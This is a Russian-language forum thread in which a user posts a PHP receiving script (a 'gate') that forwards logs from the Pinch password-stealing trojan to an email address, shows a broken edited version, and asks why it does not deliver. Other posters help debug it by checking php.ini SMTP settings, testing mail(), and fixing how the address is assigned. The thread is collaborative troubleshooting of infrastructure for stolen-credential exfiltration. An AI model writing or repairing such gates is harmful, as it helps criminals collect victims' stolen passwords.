Значит так вот я скачал скрипт для отправки логов пинча на мыло.Да вот разобраться не могу. Code: <? $ip=getenv("REMOTE_ADDR"); $email=$_POST['a']; $subject=$_POST['b']."(".$ip.")"; $msg=$_POST['c']; $tmp = $msg; $msg=eregi_replace(" ","+",$tmp); $headers = "Content-Type: application/octet-stream; name=\"out.bin\"\n"; $headers .= "Content-Transfer-Encoding: base64\n"; $headers .= "Content-Disposition: attachment; filename=\"out.bin\"\n"; mail($email, $subject, $msg, $headers); ?> <!-- REQUIRED --> <script language="JavaScript"> window.status = "_ret_ok_1"; </script></body></html> Я так и посмотрел и подставил такие данные. Code: <? $ip=getenv("REMOTE_ADDR"); $email=$_POST['[email protected]']; $subject=$_POST['Theme']."(".$ip.")"; $msg=$_POST['Pinch']; $tmp = $msg; $msg=eregi_replace(" ","+",$tmp); $headers = "Content-Type: application/octet-stream; name=\"out.bin\"\n"; $headers .= "Content-Transfer-Encoding: base64\n"; $headers .= "Content-Disposition: attachment; filename=\"out.bin\"\n"; mail($email, $subject, $msg, $headers); ?> <!-- REQUIRED --> <script language="JavaScript"> window.status = "_ret_ok_1"; </script></body></html> Но он почему то не шлёт логи помогите мне скажите в чём моя ошибка.
Смотри конфиг php на своем сервере. php.ini. Там есть настройки smtp-сервера. Походу дела либо настройки кривые, либо яндекс не пропускает письма. Попробуй напиши скрипт: PHP: <?php print "Mail result is ".mail( "[email protected]", "Subj", "Text" ); ?> Выполни его на своем сервере (какие у тебя там права, кстати? root?). И если ничего не придет то проблема как я уже сказал или в яндексе или в php.ini
Kez я проверил твой скрипт письма приходят на мыло. Я говорю может я том скрипте что не правльно указал или не доуказал.
Ты бы этот код написал между PHP: и закрывающим тегом,тебе бы сразу было легко свои ошиббки найти..помойму ты чёт напортачил со скриптом...Попробуй как нерезус говорит...Всё должно получиться...
может я чего не понял, зачем $email=$_POST['[email protected]']; разве не $email='[email protected]';